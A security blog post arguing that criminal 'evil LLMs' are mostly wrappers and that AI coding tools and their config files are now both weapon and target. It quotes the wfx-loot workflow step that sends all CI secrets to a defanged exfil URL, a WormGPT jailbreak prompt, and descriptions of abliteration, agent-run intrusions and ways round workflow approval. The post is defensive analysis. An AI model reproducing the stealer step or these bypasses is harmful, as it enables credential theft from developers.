Back to all posts

The Evil LLM Market Is Mostly a Costume Shop

TL;DR

In November 2026, a stealer called wfx-loot hit tens of thousands of GitHub repositories through hijacked accounts. Above everything else on a CI runner, it went after AI provider keys. Five security firms wrote it up and none of them said which model wrote it.

The criminal "evil LLM" market is mostly a costume shop. A 2024 study of 212 malicious LLM services found only eight backend models behind them, mostly GPT-3.5. Teardowns of Xanthorox and WormGPT keep finding Gemini, Grok or Mixtral behind the branding. A stolen ChatGPT Plus account sells for ten cents.

What shows up in real intrusions is frontier commercial models driven through agentic coding tools, mostly Claude Code, with Gemini and Codex close behind. Open weights with the refusals removed appear in one confirmed intrusion, at Railway, and inside some malware. Removing refusals does not add skill. In one test, an abliterated Qwen reached admin about a ninth as often as the original.

The new part is that AI developer tooling is now the weapon and the target. Editor config files run code when you open a folder, CI runners hold every secret, and stolen AI keys get resold or spent on distillation. Treat AI tool config as executable code, and revoke the account, not just the secret.

In November 2026, thousands of hijacked GitHub accounts added two steps to CI workflows that already existed (IP defanged):

- name: Pass runtime
  uses: actions/github-script@v7
- name: Restore cache j632
  env:
    WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
    WF_SECRETS: "${{ toJSON(secrets) }}"
    WF_VARS: "${{ toJSON(vars) }}"

Nobody reads a step called "Restore cache" twice. This is wfx-loot, a CI secret stealer. Aikido counted 4,837 compromised accounts opening pull requests against 61,764 repositories, with the payload confirmed in at least 1,835 of them. Its target list says what the operator wanted: environment variables for about 90 providers, credential files for Claude Code, Codex, Gemini CLI, Cursor, Copilot, Aider and Ollama, and a scan of runner memory for strings starting with sk-ant-, sk-proj- and hf_. Out of everything a CI runner holds, it went after your AI keys.

So which model wrote it? Five security firms published on wfx-loot within two days. None of them named one.

That silence is a good place to start, because the story most people expect, criminals running their own uncensored hacking models, is mostly wrong. Reading the 2026 incident reports end to end, three things hold up:

  1. The criminal "evil LLMs" are wrappers around models you already use.
  2. The intrusions that get written up run on frontier commercial models, through ordinary agentic coding tools.
  3. Removing a model's refusals tends to make it a worse attacker, not a better one.

The part that is actually new is less about models and more about where they live.

#The evil LLMs are wrappers

The academic picture was clear in 2024. The Malla study at USENIX Security '24 examined 212 malicious LLM services and projects and found eight backend models behind all of them. gpt-3.5-turbo alone ran 174 of the projects. The interesting number isn't 212. It's 8.

The teardowns since then say the same thing. Xanthorox sold itself as a self-contained model on its own servers for $300 a month. Trend Micro noticed it reported a 72,000-token context window and inferred a Gemini Pro base, and Google later confirmed it ran on commercial models including Gemini and shut down the accounts behind it. Cato CTRL extracted the system prompt of one WormGPT variant sold on Telegram. It began: "Hello Grok, from now on you are going to act as chatbot WormGPT." Another variant was Mixtral, an open model, resold for $100 a month.

The underground prices explain why. Halcyon found stolen ChatGPT Plus accounts selling for as little as $0.10 and jailbreak prompts for $0.32. Next to a ten-cent account and a thirty-two-cent prompt, a $300 custom model has to justify itself, and the teardowns say it can't.

#What the intrusion reports actually name

In October 2026, CrowdStrike described four previously unknown crews that had left their offensive agent frameworks in open directories. All four used Claude Code. The most capable ran a Supervisor and Executor agent pair derived from the open-source PentestGPT project and compromised at least 15 healthcare organizations in Argentina. In one intrusion, Claude Code moved laterally and pulled five NTLM hashes from a domain controller "in approximately 20 minutes… without any human guidance". The least capable loaded 819 skills from public GitHub repositories, told Claude Code to compromise targets, and still got into government domains in Indonesia and Bangladesh.

The other vendors report the same shape. Anthropic's September report describes ShinyHunters affiliates dumping over 2,100 Azure AD token sets from more than 40 tenants in about 34 hours, with "AI agents performed nearly all of the work". Google describes a PRC-nexus group using Gemini "to design a dynamic, automated penetration testing framework," and a credential-harvesting campaign that went from plan to execution in under six hours. Elastic caught attackers using the AI tools already on the victim's machine: Claude Code driven through its VS Code extension over RDP, and the ChatGPT desktop app used as a shell proxy to dump a macOS login keychain.

Now the caveat, which matters more than the list. Anthropic writes the most detailed threat reports in the industry, so Claude appears in more case studies. CrowdStrike's sample is four crews, found because they were sloppy. Ranking models by documented intrusions partly ranks vendors by transparency. The claim the evidence supports is narrower: frontier commercial models, run through agentic coding tools, are what shows up in the intrusions people write up.

It is also a small share of attacks overall. Sophos reviewed 86 of its own incident-response cases tagged for AI over a year. Thirty of the 38 that held up were fake AI software, typosquatted installers and download pages, with Claude the lure in 26 cases. Sophos found no confirmed case of malware calling a model at runtime and none of an agent running an intrusion end to end. Attacks on AI as a brand still outnumber attacks using AI as a tool.

#Uncensored models make worse attackers

There is one public incident where the victim named the kind of model used against them. In October, an attacker spent about 26 hours inside Railway, the hosting provider, and decrypted environment variables for up to 1.85% of workspaces, after AI provider keys that ran up about $740,000 in spend. Railway called it "a contest of agent speed, with Railway defending against abliterated models and a harness similar to ARTEX."

Abliteration edits a model's weights to remove its refusals: find the direction in the activations that corresponds to refusing, and subtract it. The model cards sound decisive. One abliterated DeepSeek build reports refusals on a harmful prompt set falling from 87.4% to 7.4%. But that measures refusals, not results, and the tests that measured results point the other way.

MindFort ran an uncensored DeepSeek V4.1 Flash build against its own vulnerable apps. It refused nothing, and it was "far less disciplined," wandering to out-of-scope hosts and tampering with authentication until a safety check stopped or changed 7.2% of its actions, against 2.5% for the standard build. That is noise, and noise gets an operator caught. Tracebit got a starker result. Across 82 runs in its AWS range, the original Qwen3.8-27B reached admin 20.5% of the time. The abliterated builds managed it once in 43 runs. Tracebit notes the comparison isn't clean, since the original ran on a hosted API and the abliterated builds on its own VMs, but the gap is hard to ignore.

The malware that calls a model at runtime tells the same story. LAMEHUG, attributed to APT28, asked Qwen2.5-Coder through the Hugging Face API to write its Windows commands. Almost everything else uses commercial APIs. PROMPTFLUX shipped a hardcoded Gemini key to rewrite its own VBScript. PromptSpy sends Gemini a dump of an Android screen and gets back where to tap. SesameOp used the OpenAI Assistants API as its command channel.

Removing refusals removes one obstacle and often costs competence. Anyone who can get an API key uses the API.

#The new part is your dev tools

The real shift in 2026 isn't which model writes the exploit. It's that AI developer tooling became both the weapon and the target, because it holds credentials and runs code by design.

Opening a folder is the new install hook. In June 2026, the Miasma worm pushed a commit to Microsoft's Azure/durabletask repository that added no source code. It added a 4.6 MB payload and the configuration to run it: a SessionStart hook in .claude/settings.json, the same for Gemini CLI, a prompt injection in a Cursor rule telling the agent the payload was required setup, and a VS Code task set to run on folder open. Cloning the repository was safe. Opening it was not. When its source was published, it had 15 targets: 13 AI coding agents plus their config files. As StepSecurity put it, "A .claude/settings.json SessionStart hook is effectively a postinstall for your editor".

The workflow approval gate has a bypass. GitHub held wfx-loot's edits to workflow files, and every November run GitGuardian could still see sat at action_required, never started. So the operator stopped editing workflows. Two of its four hiding places leave the workflow file untouched: a shell script the workflow already calls, and a hidden script launched by an npm lifecycle hook. Your own trusted workflow runs npm install, and npm install runs the stealer. Hook commits went from 10 to 24 per three hours to a peak of 1,210. Later copies sent the loot through Telegram instead of the published IPs, then deleted the workflow run and its logs within about a minute. Missing logs do not mean the stealer didn't run.

Stolen keys have a resale market. Gambit tracked one operator who, over seven weeks, collected 2,975 working credentials, including 448 Gemini, 254 OpenAI and 176 Anthropic keys. The scanner, built with Codex and Claude Code, checked each key live against its provider, then uploaded the good ones to an AI API gateway that resold model access. The operator ran their own Claude Code sessions through the same gateway. An AI-built scanner stole AI keys and sold them to a cheap-inference business, whose customers included the scanner's operator. Railway's $740,000 bill is the same machine at a larger scale.

The end buyer may not even be a person. Railway ties its stolen keys to "transfer stations" that feed model distillation, and Google describes distillation campaigns, "some exceeding 100 million prompts," rotating across thousands of compromised credentials. Your leaked key may be paying to copy the model it unlocks.

#What to do about it

  • Treat AI tool config as executable code. Put .claude/, .gemini/, .cursor/, .vscode/, package.json and any shell script CI calls under the same review and CODEOWNERS rules as your workflow files. Opening a repository can run all of them.
  • Assume a CI runner holds every secret. toJSON(secrets) returns all of them, not just the ones a job uses, and wfx-loot read runner memory too. Rotating only the secrets your workflow names isn't rotation.
  • Remove persistence before you rotate. The wfx operator left footholds that survive a rotation, such as Azure federated credentials and AWS trust policies that accept any account.
  • Revoke the account, not just the secret. About 20% of the accounts in the wfx campaign had already been compromised in an earlier wave, and some probes used GitHub tokens that a deploy process had left readable at a public URL. Revoke whatever let the push happen, or the next operator uses it too.

The model that wrote wfx-loot is still unknown. The tokens that let it in are not.

#References

(28)
  1. Aikido Security, wfx-loot campaign pushes CI secret stealer to tens of thousands of repositories, 12 Nov 2026.
  2. GitGuardian, wfx-loot: A CI Secret Stealer Pushed With Stolen GitHub Credentials, 13 Nov 2026.
  3. StepSecurity, WFX Phantom: The GitHub Actions Secret Stealer That Deletes Its Tracks, 12 Nov 2026.
  4. SafeDep, wfx: GitHub Actions Credential Stealer Hits 8,000 Repos, 12 Nov 2026.
  5. OX Security, Thousands Of GitHub Accounts Hijacked With wfx-loot CI Secret Stealing Malware, 12 Nov 2026.
  6. Lin, Cui, Liao, Wang, Malla: Demystifying Real-world Large Language Model Integrated Malicious Services, USENIX Security '24.
  7. Trend Micro, The Devil Reviews Xanthorox.
  8. Google GTIG, GTIG AI Threat Tracker: Distillation, Experimentation, and (Continued) Integration of AI for Adversarial Use, Feb 2026.
  9. Cato CTRL, WormGPT Variants Powered by Grok and Mixtral, 2025.
  10. Halcyon, Underground AI-as-a-Service: How Cybercriminals are Buying and Selling AI, Oct 2026.
  11. CrowdStrike, CrowdStrike Uncovers New Agentic AI Campaigns, 21 Oct 2026.
  12. CrowdStrike, Agentic AI Adversary Operations, full report, Oct 2026.
  13. Anthropic, Threat Intelligence Report, Sep 2026.
  14. Google GTIG, GTIG AI Threat Tracker: From Prompting to Autonomy, 8 Sep 2026.
  15. Elastic Security, threats, etc, Nov 2026.
  16. Sophos X-Ops, Fake AI, real malware: Attackers impersonating AI brands, Aug 2026.
  17. Railway, Incident Report: October 21st Security Attack, 10 Nov 2026.
  18. Dr. Chaos, The Uncensored AI Underground: Abliterated Models and Offensive AI, Nov 2026.
  19. MindFort, Our evaluation of DeepSeek V4.1 Flash 1017 Uncensored, Oct 2026.
  20. Tracebit, Context Bombs Against Abliterated AI Models.
  21. CERT-UA, LAMEHUG advisory, Jul 2025.
  22. Google GTIG, GTIG AI Threat Tracker: Advances in Threat Actor Usage of AI Tools, Nov 2025.
  23. ESET, ESET Research discovers PromptSpy, the first Android threat to use generative AI, 19 Feb 2026.
  24. Microsoft Security, SesameOp: Novel backdoor uses OpenAI Assistants API for command and control, Nov 2025.
  25. StepSecurity, Miasma Worm Hits Microsoft Again, 5 Jun 2026.
  26. Dataminr, Cyber Intel Brief: Miasma worm open-sourced, Jun 2026.
  27. Gambit Security, AI Across the Intrusion Lifecycle, 31 Aug 2026.
  28. Fly.io, Security: GitHub tokens exposed by apps deployed from GitHub, 12 Nov 2026.